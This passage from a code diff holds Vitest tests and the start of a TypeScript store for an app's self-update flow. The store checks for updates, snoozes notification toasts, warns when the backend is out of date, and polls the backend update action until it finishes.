+    const result = await promise
+
+    expect(result.ok).toBe(true)
+    expect($backendUpdateApply.get().stage).toBe('idle')
+  })
+
+  it('treats a successful dependency repair as complete without waiting for a restart', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: 0,
+      lines: ['=== clawcodex-update started now ===', '✓ Dependencies repaired!', '✓ Update complete!'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect($backendUpdateApply.get().stage).toBe('idle')
+  })
+
+  it('trusts the current action exit code without parsing its output', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: 0,
+      lines: ['✓ Already up to date!'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: false
+    })
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(checkClawCodexUpdateSpy).not.toHaveBeenCalled()
+  })
+
+  it('waits for current-action completion proof after the backend restarts', async () => {
+    const actionId = 'a'.repeat(32)
+    updateClawCodexSpy.mockResolvedValue({ action_id: actionId, ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy
+      .mockRejectedValueOnce(new Error('ECONNREFUSED'))
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['Update complete!', `=== clawcodex-update completed ${'c'.repeat(32)} ===`],
+        name: 'clawcodex-update',
+        pid: null,
+        running: false
+      })
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['Update complete!', `=== clawcodex-update completed ${actionId} ===`],
+        name: 'clawcodex-update',
+        pid: null,
+        running: false
+      })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(5000)
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(checkClawCodexUpdateSpy).not.toHaveBeenCalled()
+  })
+
+  it('accepts its terminal receipt when a verbose update pushes the start marker out of the log tail', async () => {
+    const actionId = 'b'.repeat(32)
+    updateClawCodexSpy.mockResolvedValue({ action_id: actionId, ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockRejectedValueOnce(new Error('ECONNREFUSED')).mockResolvedValueOnce({
+      exit_code: null,
+      lines: ['final build output', 'Update complete!', `=== clawcodex-update completed ${actionId} ===`],
+      name: 'clawcodex-update',
+      pid: null,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(5000)
+
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(getActionStatusSpy).toHaveBeenCalledWith('clawcodex-update', 2000)
+  })
+
+  it('proves a pre-action-ID backend reached its requested commit after restart', async () => {
+    $backendUpdateStatus.set({
+      behind: 2,
+      commits: [{ at: 1, author: 'Nous', sha: 'requested-target', summary: 'target' }],
+      fetchedAt: 1,
+      supported: true,
+      targetSha: 'backend:0.18.2',
+      updateAvailable: true
+    })
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockRejectedValueOnce(new Error('ECONNREFUSED')).mockResolvedValue({
+      exit_code: null,
+      lines: ['verbose output', 'Update complete!'],
+      name: 'clawcodex-update',
+      pid: null,
+      running: false
+    })
+    checkClawCodexUpdateSpy
+      .mockResolvedValueOnce({
+        behind: null,
+        can_apply: true,
+        commits: [],
+        current_version: '0.18.2',
+        install_method: 'git',
+        message: 'offline',
+        update_available: false,
+        update_command: 'clawcodex update'
+      })
+      .mockResolvedValueOnce({
+        behind: 1,
+        can_apply: true,
+        commits: [{ at: 2, author: 'Nous', sha: 'newer-commit', summary: 'newer' }],
+        current_version: '0.18.2',
+        install_method: 'git',
+        message: null,
+        update_available: true,
+        update_command: 'clawcodex update'
+      })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(5000)
+
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(checkClawCodexUpdateSpy).toHaveBeenCalledTimes(2)
+  })
+
+  it('proves a fast pre-action-ID packaged update by its changed version', async () => {
+    $backendUpdateStatus.set({
+      behind: 1,
+      commits: [],
+      fetchedAt: 1,
+      supported: true,
+      targetSha: 'backend:0.18.2',
+      updateAvailable: true
+    })
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: null,
+      lines: ['verbose output without a retained start marker'],
+      name: 'clawcodex-update',
+      pid: null,
+      running: false
+    })
+    checkClawCodexUpdateSpy.mockResolvedValue({
+      behind: -1,
+      can_apply: true,
+      commits: [],
+      current_version: '0.18.3',
+      install_method: 'pip',
+      message: null,
+      update_available: true,
+      update_command: 'clawcodex update'
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
+
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(checkClawCodexUpdateSpy).toHaveBeenCalledWith(true)
+  })
+
+  it('resumes action polling after a transient status failure', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy
+      .mockRejectedValueOnce(new Error('ECONNRESET'))
+      .mockResolvedValueOnce({
+        exit_code: null,
+        lines: ['=== clawcodex-update started now ===', 'still running'],
+        name: 'clawcodex-update',
+        pid: 1,
+        running: true
+      })
+      .mockResolvedValueOnce({
+        exit_code: 0,
+        lines: ['=== clawcodex-update started now ===', 'Update complete!'],
+        name: 'clawcodex-update',
+        pid: 1,
+        running: false
+      })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(5000)
+    await expect(promise).resolves.toMatchObject({ ok: true })
+    expect(getActionStatusSpy).toHaveBeenCalledTimes(3)
+  })
+
+  it('restores the fixed action deadline after reconnecting', async () => {
+    updateClawCodexSpy.mockResolvedValue({ action_id: 'a'.repeat(32), ok: true, name: 'clawcodex-update', pid: 1 })
+
+    const running = {
+      exit_code: null,
+      lines: ['still running'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: true
+    }
+
+    for (let attempt = 0; attempt < 119; attempt += 1) {
+      getActionStatusSpy.mockResolvedValueOnce(running)
+    }
+
+    getActionStatusSpy.mockRejectedValueOnce(new Error('ECONNRESET')).mockResolvedValue(running)
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(6 * 60 * 1000 + 1500)
+
+    await expect(promise).resolves.toMatchObject({ error: 'apply-failed', ok: false })
+    expect($backendUpdateApply.get().stage).toBe('error')
+  })
+
+  it('shares one in-flight update between concurrent apply requests', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: 0,
+      lines: ['=== clawcodex-update started now ===', '✓ Already up to date!'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: false
+    })
+
+    const first = applyBackendUpdate()
+    const second = applyBackendUpdate()
+
+    expect(second).toBe(first)
+    await vi.advanceTimersByTimeAsync(1500)
+    await Promise.all([first, second])
+    expect(updateClawCodexSpy).toHaveBeenCalledTimes(1)
+  })
+
+  it('fails closed when the update action never reaches a terminal state', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: null,
+      lines: ['=== clawcodex-update started now ===', 'still running'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: true
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(6 * 60 * 1000 + 1500)
+    await expect(promise).resolves.toMatchObject({ ok: false, error: 'apply-failed' })
+    expect($backendUpdateApply.get().stage).toBe('error')
+  })
+
+  it('fails immediately when the update action exits nonzero', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'clawcodex-update', pid: 1 })
+    getActionStatusSpy.mockResolvedValue({
+      exit_code: 1,
+      lines: ['=== clawcodex-update started now ===', 'update failed'],
+      name: 'clawcodex-update',
+      pid: 1,
+      running: false
+    })
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(1500)
+    await expect(promise).resolves.toMatchObject({ ok: false, error: 'apply-failed' })
+    expect(checkClawCodexUpdateSpy).not.toHaveBeenCalled()
+    expect($backendUpdateApply.get().stage).toBe('error')
+  })
+
+  it('surfaces an error when the backend never comes back after the restart', async () => {
+    updateClawCodexSpy.mockResolvedValue({ ok: true, name: 'update', pid: 1 })
+    getActionStatusSpy.mockRejectedValue(new Error('ECONNREFUSED'))
+    checkClawCodexUpdateSpy.mockRejectedValue(new Error('ECONNREFUSED'))
+
+    const promise = applyBackendUpdate()
+    await vi.advanceTimersByTimeAsync(250000)
+    const result = await promise
+
+    expect(result.ok).toBe(false)
+    expect($backendUpdateApply.get().stage).toBe('error')
+  }, 10000)
+})
+
+describe('startUpdatePoller', () => {
+  const checkMock = vi.fn()
+  const onProgressMock = vi.fn()
+  const listeners: Record<string, Function> = {}
+
+  beforeEach(() => {
+    storage.clear()
+    checkMock.mockReset()
+    onProgressMock.mockReset()
+    Object.keys(listeners).forEach(k => delete listeners[k])
+    checkMock.mockResolvedValue({
+      supported: true,
+      behind: 5,
+      targetSha: 'sha-abc',
+      fetchedAt: 0
+    })
+    $updateStatus.set(null)
+    ;(globalThis as unknown as { window: unknown }).window = {
+      clawcodexDesktop: { updates: { check: checkMock, onProgress: onProgressMock } },
+      addEventListener: vi.fn((event: string, handler: Function) => {
+        listeners[event] = handler
+      }),
+      removeEventListener: vi.fn()
+    }
+    vi.useFakeTimers()
+    stopUpdatePoller()
+  })
+
+  afterEach(() => {
+    stopUpdatePoller()
+    delete (globalThis as unknown as { window?: unknown }).window
+    vi.useRealTimers()
+  })
+
+  it('calls checkUpdates() on startup so the version pill populates immediately', async () => {
+    startUpdatePoller()
+
+    // checkUpdates() is async — flush microtasks without advancing the 30-min interval.
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(checkMock).toHaveBeenCalled()
+    expect($updateStatus.get()?.behind).toBe(5)
+  })
+
+  it('calls checkUpdates() on each interval tick', async () => {
+    startUpdatePoller()
+    await vi.advanceTimersByTimeAsync(0)
+    checkMock.mockClear()
+
+    await vi.advanceTimersByTimeAsync(30 * 60 * 1000)
+
+    expect(checkMock).toHaveBeenCalled()
+  })
+
+  it('calls checkUpdates() when the window regains focus', async () => {
+    startUpdatePoller()
+    await vi.advanceTimersByTimeAsync(0)
+    checkMock.mockClear()
+
+    // Invoke the registered focus handler directly (the mock window doesn't
+    // propagate DOM events, so call the stored listener).
+    listeners['focus']?.()
+
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(checkMock).toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/store/updates.ts b/ui-desktop/src/store/updates.ts
new file mode 100644
index 000000000..16df2d6d6
--- /dev/null
+++ b/ui-desktop/src/store/updates.ts
@@ -0,0 +1,790 @@
+/**
+ * Desktop self-update store. Tracks distance from the configured branch,
+ * surfaces it as an ambient pill, and orchestrates the apply flow.
+ */
+
+import { atom } from 'nanostores'
+
+import { checkClawCodexUpdate, getActionStatus, updateClawCodex } from '@/clawcodex'
+import type {
+  DesktopUpdateApplyOptions,
+  DesktopUpdateApplyResult,
+  DesktopUpdateProgress,
+  DesktopUpdateStage,
+  DesktopUpdateStatus,
+  DesktopVersionInfo
+} from '@/global'
+import { translateNow } from '@/i18n'
+import { persistString, storedString } from '@/lib/storage'
+import { dismissNotification, notify } from '@/store/notifications'
+import { $connection } from '@/store/session'
+import type { BackendUpdateCheckResponse } from '@/types/clawcodex'
+
+export interface UpdateApplyState {
+  applying: boolean
+  stage: DesktopUpdateStage
+  message: string
+  percent: number | null
+  error: string | null
+  /** When the stage is 'manual': the exact command the user should run
+   *  (CLI install with no staged updater). */
+  command: string | null
+  log: readonly { stage: DesktopUpdateStage; message: string; at: number }[]
+}
+
+const IDLE: UpdateApplyState = {
+  applying: false,
+  stage: 'idle',
+  message: '',
+  percent: null,
+  error: null,
+  command: null,
+  log: []
+}
+
+export const $desktopVersion = atom<DesktopVersionInfo | null>(null)
+export const $updateApply = atom<UpdateApplyState>(IDLE)
+export const $updateChecking = atom<boolean>(false)
+export const $updateOverlayOpen = atom<boolean>(false)
+export const $updateStatus = atom<DesktopUpdateStatus | null>(null)
+
+// Client and backend are independently updatable; each keeps its own state.
+export const $backendUpdateStatus = atom<DesktopUpdateStatus | null>(null)
+export const $backendUpdateApply = atom<UpdateApplyState>(IDLE)
+export const $backendUpdateChecking = atom<boolean>(false)
+
+export type UpdateTarget = 'client' | 'backend'
+export const $updateOverlayTarget = atom<UpdateTarget>('client')
+
+export const setUpdateOverlayOpen = (open: boolean) => $updateOverlayOpen.set(open)
+
+export const openUpdateOverlayFor = (target: UpdateTarget) => {
+  $updateOverlayTarget.set(target)
+  $updateOverlayOpen.set(true)
+  void (target === 'backend' ? checkBackendUpdates() : checkUpdates())
+}
+
+export const resetUpdateApplyState = () => {
+  $updateApply.set(IDLE)
+  $backendUpdateApply.set(IDLE)
+}
+
+const UPDATE_TOAST_ID = 'desktop-update-available'
+// Time-based snooze instead of per-sha dismissal: this repo lands ~100 commits
+// a day, so a "don't show this exact sha again" guard re-popped the toast on
+// every new commit. We instead suppress the toast for a cooldown window that
+// (re)starts whenever the user closes it.
+const UPDATE_TOAST_SNOOZE_KEY = 'clawcodex:update-toast-snooze-until'
+const UPDATE_TOAST_COOLDOWN_MS = 24 * 60 * 60 * 1000
+
+function snoozeUpdateToast(): void {
+  persistString(UPDATE_TOAST_SNOOZE_KEY, String(Date.now() + UPDATE_TOAST_COOLDOWN_MS))
+}
+
+function isUpdateToastSnoozed(): boolean {
+  const until = Number(storedString(UPDATE_TOAST_SNOOZE_KEY) || 0)
+
+  return Number.isFinite(until) && Date.now() < until
+}
+
+// Must match tui_gateway's DESKTOP_BACKEND_CONTRACT that this build was written
+// against. The backend reports its own value in session runtime info; a lower
+// value (or none — a pre-GUI checkout) means GUI<->backend skew.
+// v2: requires the file.attach RPC (remote-gateway non-image file upload).
+// v3: requires approvals.mode config RPCs and session.info reconciliation.
+// v4: requires explicit Fast-off session creation and session-scoped Fast edits.
+// v5: requires raised WebSocket frame size for large one-shot file.attach.
+const REQUIRED_BACKEND_CONTRACT = 5
+const SKEW_TOAST_ID = 'backend-contract-skew'
+// The contract check runs on every session.resume (applyRuntimeInfo), so
+// without a snooze the warning re-popped on every thread the user opened, even
+// right after they closed it. Mirror the update toast: persist a cooldown when
+// the user dismisses it. It still reminds again after the window if the backend
+// is still behind, and clears immediately once the backend catches up.
+const SKEW_TOAST_SNOOZE_KEY = 'clawcodex:backend-skew-toast-snooze-until'
+const SKEW_TOAST_COOLDOWN_MS = 24 * 60 * 60 * 1000
+
+function snoozeSkewToast(): void {
+  persistString(SKEW_TOAST_SNOOZE_KEY, String(Date.now() + SKEW_TOAST_COOLDOWN_MS))
+}
+
+function isSkewToastSnoozed(): boolean {
+  const until = Number(storedString(SKEW_TOAST_SNOOZE_KEY) || 0)
+
+  return Number.isFinite(until) && Date.now() < until
+}
+
+const INSTALL_METHOD_TOAST_ID = 'install-method-not-supported'
+// Same time-based snooze pattern as the update/skew toasts: the warning is
+// re-derived from every session.info (session.create/resume/activate all
+// route through applyRuntimeInfo), so without a snooze it would re-pop on
+// every session switch even right after the user dismissed it.
+const INSTALL_METHOD_TOAST_SNOOZE_KEY = 'clawcodex:install-method-toast-snooze-until'
+const INSTALL_METHOD_TOAST_COOLDOWN_MS = 24 * 60 * 60 * 1000
+
+function snoozeInstallMethodToast(): void {
+  persistString(INSTALL_METHOD_TOAST_SNOOZE_KEY, String(Date.now() + INSTALL_METHOD_TOAST_COOLDOWN_MS))
+}
+
+function isInstallMethodToastSnoozed(): boolean {
+  const until = Number(storedString(INSTALL_METHOD_TOAST_SNOOZE_KEY) || 0)
+
+  return Number.isFinite(until) && Date.now() < until
+}
+
+/**
+ * Guard against a desktop GUI talking to a backend that predates its contract
+ * (e.g. a bb/gui-built app pointed at a `main` checkout). Rather than failing
+ * cryptically downstream, surface a warning with a one-click align that runs
+ * the normal update flow (which self-heals to the right branch).
+ *
+ * Runs on every session open; closing the toast snoozes it for a cooldown so it
+ * doesn't nag on every thread switch.
+ */
+export function reportBackendContract(contract: number | undefined): void {
+  if ((contract ?? 0) >= REQUIRED_BACKEND_CONTRACT) {
+    dismissNotification(SKEW_TOAST_ID)
+    // Backend caught up — forget any prior snooze so a future regression warns
+    // immediately rather than staying silent for the rest of the window.
+    persistString(SKEW_TOAST_SNOOZE_KEY, null)
+
+    return
+  }
+
+  if (isSkewToastSnoozed()) {
+    return
+  }
+
+  notify({
+    action: {
+      label: translateNow('notifications.updateClawCodex'),
+      onClick: () => {
+        snoozeSkewToast()
+        void applyBackendUpdate()
+      }
+    },
+    durationMs: 0,
+    id: SKEW_TOAST_ID,
+    kind: 'warning',
+    message: translateNow('notifications.backendOutOfDateMessage'),
+    onDismiss: () => snoozeSkewToast(),
+    title: translateNow('notifications.backendOutOfDateTitle')
+  })
+}
+
+export function reportInstallMethodWarning(message: string | undefined): void {
+  if (!message) {
+    dismissNotification(INSTALL_METHOD_TOAST_ID)
+
+    return
+  }
+
+  if (isInstallMethodToastSnoozed()) {
+    return
+  }
+
+  notify({
+    durationMs: 0,
+    id: INSTALL_METHOD_TOAST_ID,
+    kind: 'warning',
+    message,
+    onDismiss: () => snoozeInstallMethodToast(),
+    title: translateNow('notifications.installMethodUnsupportedTitle')
+  })
+}
+
+/**
+ * Fire a toast when an update is available, at most once per cooldown window.
+ * Closing the toast — dismissing it or opening the updates window from it —
+ * (re)starts the cooldown, so a busy upstream branch doesn't re-spam the user
+ * on every new commit. The snooze is persisted, so it survives relaunches too.
+ */
+export function maybeNotifyUpdateAvailable(status: DesktopUpdateStatus | null) {
+  if (!status || status.supported === false || status.error || !status.targetSha) {
+    return
+  }
+
+  if ((status.behind ?? 0) <= 0) {
+    return
+  }
+
+  if (isUpdateToastSnoozed()) {
+    return
+  }
+
+  if ($updateApply.get().applying) {
+    return
+  }
+
+  const behind = status.behind ?? 0
+
+  notify({
+    action: {
+      label: translateNow('notifications.seeWhatsNew'),
+      onClick: () => {
+        snoozeUpdateToast()
+        openUpdatesWindow()
+      }
+    },
+    durationMs: 0,
+    icon: 'gift',
+    id: UPDATE_TOAST_ID,
+    kind: 'info',
+    message: translateNow('notifications.updateReadyMessage', behind),
+    onDismiss: () => snoozeUpdateToast(),
+    title: translateNow('notifications.updateReadyTitle')
+  })
+}
+
+export function openUpdatesWindow(): void {
+  openUpdateOverlayFor(isRemoteMode() ? 'backend' : 'client')
+}
+
+/**
+ * Start applying the available update for the active target right away. Opens
+ * the updates overlay first so the user sees apply progress (the overlay
+ * renders ApplyingView once `applying` flips true), then kicks off the install.
+ * Used by the "Update now" affordance on the About panel, which would otherwise
+ * only be able to open the changelog overlay.
+ */
+export function startActiveUpdate(): void {
+  const target: UpdateTarget = isRemoteMode() ? 'backend' : 'client'
+  $updateOverlayTarget.set(target)
+  $updateOverlayOpen.set(true)
+  void (target === 'backend' ? applyBackendUpdate() : applyUpdates())
+}
+
+/**
+ * Command-palette entry point. The About panel's "Update now" only renders once
+ * we know an update is waiting; this row is always listed, so it also has to
+ * handle "already current" — open the overlay for the active target and let its
+ * check answer, and only apply when there's something to install.
+ */
+export function requestActiveUpdate(): void {
+  const target: UpdateTarget = isRemoteMode() ? 'backend' : 'client'
+  const status = target === 'backend' ? $backendUpdateStatus.get() : $updateStatus.get()
+
+  if ((status?.behind ?? 0) > 0 || status?.updateAvailable) {
+    startActiveUpdate()
+
+    return
+  }
+
+  openUpdateOverlayFor(target)
+}
+
+/** Re-read the running app's version from the Electron main process and
+ *  publish it on `$desktopVersion`. Called when the About panel mounts, the
+ *  update flow finishes, and the window regains focus, so the About text
+ *  stays in sync with the just-installed binary instead of frozen at the
+ *  value captured at first-load. */
+export async function refreshDesktopVersion(): Promise<DesktopVersionInfo | null> {
+  if (typeof window === 'undefined') {
+    return null
+  }
+
+  // Best-effort UI sync: callers (checkUpdates, startUpdatePoller, window
+  // focus handler) all kick this off with `void refreshDesktopVersion()`,
+  // so any rejection from the IPC bridge (e.g. main process shutting down
+  // mid-reload, or the bridge not yet ready on first paint) would surface
+  // as an unhandled promise rejection in the renderer. Swallow it.
+  try {
+    const next = await window.clawcodexDesktop?.getVersion?.()
+
+    if (next) {
+      $desktopVersion.set(next)
+    }
+
+    return next ?? null
+  } catch {
+    return null
+  }
+}
+
+function isRemoteMode(): boolean {
+  return $connection.get()?.mode === 'remote'
+}
+
+function mapBackendCheck(res: BackendUpdateCheckResponse): DesktopUpdateStatus {
+  const behind = res.behind ?? 0
+
+  return {
+    supported: res.can_apply,
+    message: res.message ?? undefined,
+    updateAvailable: res.update_available,
+    behind: behind > 0 ? behind : 0,
+    currentVersion: res.current_version,
+    targetSha: res.update_available ? `backend:${res.current_version}` : undefined,
+    commits: res.commits,
+    fetchedAt: Date.now()
+  }
+}
+
+export async function checkBackendUpdates(): Promise<DesktopUpdateStatus | null> {
+  if (!isRemoteMode() || $backendUpdateChecking.get()) {
+    return $backendUpdateStatus.get()
+  }
+
+  $backendUpdateChecking.set(true)
+
+  try {
+    const status = mapBackendCheck(await checkClawCodexUpdate(true))
+    $backendUpdateStatus.set(status)
+    maybeNotifyUpdateAvailable(status)
+
+    return status
+  } catch (error) {
+    const fallback: DesktopUpdateStatus = {
+      supported: $backendUpdateStatus.get()?.supported ?? true,
+      error: 'check-failed',
+      message: error instanceof Error ? error.message : String(error),
+      fetchedAt: Date.now()
+    }
+
+    $backendUpdateStatus.set(fallback)
+
+    return fallback
+  } finally {
+    $backendUpdateChecking.set(false)
+  }
+}
+
+export async function checkUpdates(): Promise<DesktopUpdateStatus | null> {
+  const bridge = window.clawcodexDesktop?.updates
+
+  if (!bridge || $updateChecking.get()) {
+    return $updateStatus.get()
+  }
+
+  $updateChecking.set(true)
+
+  try {
+    const status = await bridge.check()
+    $updateStatus.set(status)
+    maybeNotifyUpdateAvailable(status)
+    void refreshDesktopVersion()
+
+    return status
+  } catch (error) {
+    const previous = $updateStatus.get()
+
+    const fallback: DesktopUpdateStatus = {
+      supported: previous?.supported ?? true,
+      branch: previous?.branch,
+      error: 'check-failed',
+      message: error instanceof Error ? error.message : String(error),
+      fetchedAt: Date.now()
+    }
+
+    $updateStatus.set(fallback)
+
+    return fallback
+  } finally {
+    $updateChecking.set(false)
+  }
+}
+
+export async function applyUpdates(opts: DesktopUpdateApplyOptions = {}): Promise<DesktopUpdateApplyResult> {
+  const bridge = window.clawcodexDesktop?.updates
+
+  if (!bridge) {
+    return { ok: false, error: 'unavailable', message: 'Desktop bridge unavailable.' }
+  }
+
+  dismissNotification(UPDATE_TOAST_ID)
+  $updateApply.set({ ...IDLE, applying: true, stage: 'prepare', message: 'Starting update…' })
+
+  try {
+    const result = await bridge.apply(opts)
+
+    // CLI install with no staged updater: not an error — the user just runs
+    // `clawcodex update` themselves. Land on a dedicated manual state so the
+    // overlay shows the command + copy button instead of a dead retry loop.
+    if (result?.manual) {
+      $updateApply.set({
+        ...IDLE,
+        applying: false,
+        stage: 'manual',
+        message: result.command ?? 'clawcodex update',
+        command: result.command ?? 'clawcodex update'
+      })
+
+      return result
+    }
+
+    // A detached relauncher took over (macOS bundle swap / Linux re-exec): the
+    // app is about to quit and reopen, so hold the "Restarting…" view until it
+    // does. Every other resolved outcome MUST land on a terminal, closeable
+    // state: the apply IPC resolves here, but the progress stream may have left
+    // us on a non-terminal stage (e.g. 'done'/'rebuild'), which renders as a
+    // spinner with no close button — the exact hang this guards against.
+    // Linux GUI/backend skew (#45205): the backend was updated but the running
+    // desktop app PACKAGE was not changed (AppImage/.deb/.rpm). We must NOT tell
+    // the user "the new version loads next launch" — that's false; this packaged
+    // shell keeps running old GUI code against the new backend. Land on the
+    // dedicated, closeable guiSkew terminal state telling them to update/reinstall
+    // the desktop app.
+    if (result?.guiSkew) {
+      $updateApply.set({
+        ...IDLE,
+        applying: false,
+        stage: 'guiSkew',
+        message: result.message ?? translateNow('updates.guiSkewBody')
+      })
+
+      return result
+    }
+
+    // Backend updated but the app couldn't auto-relaunch (e.g. the rebuilt
+    // sandbox helper isn't launchable): keep a closeable manual-restart state so
+    // the user keeps a working window instead of a dead app or a stuck spinner.
+    if (result?.ok && result?.manualRestart) {
+      $updateApply.set({
+        ...IDLE,
+        applying: false,
+        stage: 'manual',
+        message: result.message ?? translateNow('updates.manualPickedUp')
+      })
+
+      return result
+    }
+
+    if (!result?.handedOff) {
+      if (result?.ok) {
+        // Updated, but couldn't relaunch in place (AppImage / dev run). Dismiss
+        // the overlay and let the user know the new version loads next launch
+        // rather than stranding them on an un-closeable spinner.
+        setUpdateOverlayOpen(false)
+        resetUpdateApplyState()
+        notify({
+          durationMs: 8000,
+          id: UPDATE_TOAST_ID,
+          kind: 'success',
+          message: translateNow('updates.manualPickedUp'),
+          // No action button here, but it's still update-lifecycle news — keep
+          // it with the other update toasts instead of the ambient bottom-right
+          // stack.
+          placement: 'default',
+          title: translateNow('updates.allSetTitle')
+        })
+      } else {
+        $updateApply.set({
+          ...$updateApply.get(),
+          applying: false,
+          stage: 'error',
+          error: result?.error ?? 'apply-failed',
+          message: result?.message ?? translateNow('updates.errorBody')
+        })
+      }
+    }
+
+    return result
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error)
+    $updateApply.set({ ...$updateApply.get(), applying: false, stage: 'error', error: 'apply-failed', message })
+
+    return { ok: false, error: 'apply-failed', message }
+  }
+}
+
+const BACKEND_ACTION_POLL_MS = 1500
+const BACKEND_ACTION_MAX_MS = 6 * 60 * 1000
+const BACKEND_RETURN_MAX_MS = 4 * 60 * 1000
+
+function finishBackendApply(returned: boolean): DesktopUpdateApplyResult {
+  if (returned) {
+    $backendUpdateApply.set(IDLE)
+    setUpdateOverlayOpen(false)
+    void checkBackendUpdates()
+
+    return { ok: true, message: 'Backend update applied.' }
+  }
+
+  $backendUpdateApply.set({
+    ...$backendUpdateApply.get(),
+    applying: false,
+    stage: 'error',
+    error: 'apply-failed',
+    message: translateNow('updates.applyStatus.noReturn')
+  })
+
+  return { ok: false, error: 'apply-failed', message: 'Backend did not come back online.' }
+}
+
+function ingestBackendActionStatus(status: Awaited<ReturnType<typeof getActionStatus>>): void {
+  const current = $backendUpdateApply.get()
+
+  const log = status.lines
+    .filter(line => line.trim().length > 0)
+    .map(line => ({ at: Date.now(), message: line, stage: current.stage }))
+    .slice(-50)
+
+  const latest = log.at(-1)?.message
+
+  if (log.length === 0 && !latest) {
+    return
+  }
+
+  $backendUpdateApply.set({
+    ...current,
+    log,
+    message: latest ?? current.message
+  })
+}
+
+function completedAfterRestart(
+  status: Awaited<ReturnType<typeof getActionStatus>>,
+  actionId: string | undefined
+): boolean {
+  return !!actionId && status.lines.some(line => line === `=== clawcodex-update completed ${actionId} ===`)
+}
+
+function legacyBackendReachedTarget(
+  status: BackendUpdateCheckResponse,
+  targetSha: string | undefined,
+  previousVersion: string | undefined
+): boolean {
+  if (status.behind === 0) {
+    return true
+  }
+
+  if (previousVersion && status.current_version !== previousVersion) {
+    return true
+  }
+
+  return !!targetSha && !!status.commits?.length && !status.commits.some(commit => commit.sha === targetSha)
+}
+
+let backendUpdateInFlight: Promise<DesktopUpdateApplyResult> | null = null
+
+async function runBackendUpdate(): Promise<DesktopUpdateApplyResult> {
+  dismissNotification(UPDATE_TOAST_ID)
+  $backendUpdateApply.set({
+    ...IDLE,
+    applying: true,
+    stage: 'prepare',
+    message: translateNow('updates.applyStatus.preparing')
+  })
+
+  try {
+    const previousStatus = $backendUpdateStatus.get()
+    const requestedTargetSha = previousStatus?.commits?.at(0)?.sha
+
+    const previousVersion = previousStatus?.targetSha?.startsWith('backend:')
+      ? previousStatus.targetSha.slice('backend:'.length)
+      : undefined
+
+    const started = await updateClawCodex()
+
+    if (!started.ok) {
+      const message = (started as { message?: string }).message || translateNow('updates.applyStatus.notAvailable')
+      const command = (started as { update_command?: string }).update_command || 'clawcodex update'
+      $backendUpdateApply.set({ ...IDLE, applying: false, stage: 'manual', message, command })
+
+      return { ok: false, error: 'manual', manual: true, message, command }
+    }
+
+    $backendUpdateApply.set({
+      ...IDLE,
+      applying: true,
+      stage: 'pull',
+      message: translateNow('updates.applyStatus.pulling')
+    })
+
+    let last: Awaited<ReturnType<typeof getActionStatus>> | null = null
+    // Backups, dependency repair, and builds can legitimately take several
+    // minutes. Keep the generous cap only as a guard against a stuck action.
+    const actionDeadline = Date.now() + BACKEND_ACTION_MAX_MS
+    let deadline = actionDeadline
+    let reconnecting = false
+
+    while (Date.now() < deadline) {
+      await new Promise(resolve => globalThis.setTimeout(resolve, BACKEND_ACTION_POLL_MS))
+
+      try {
+        last = await getActionStatus(started.name, 2000)
+        ingestBackendActionStatus(last)
+      } catch {
+        if (!reconnecting) {
+          reconnecting = true
+          deadline = Date.now() + BACKEND_RETURN_MAX_MS
+          $backendUpdateApply.set({
+            ...$backendUpdateApply.get(),
+            applying: true,
+            stage: 'restart',
+            message: translateNow('updates.applyStatus.restarting')
+          })
+        }
+
+        continue
+      }
+
+      if (last.running) {
+        if (reconnecting) {
+          reconnecting = false
+          deadline = actionDeadline
+          $backendUpdateApply.set({
+            ...$backendUpdateApply.get(),
+            applying: true,
+            stage: 'pull',
+            message: translateNow('updates.applyStatus.pulling')
+          })
+        }
+
+        continue
+      }
+
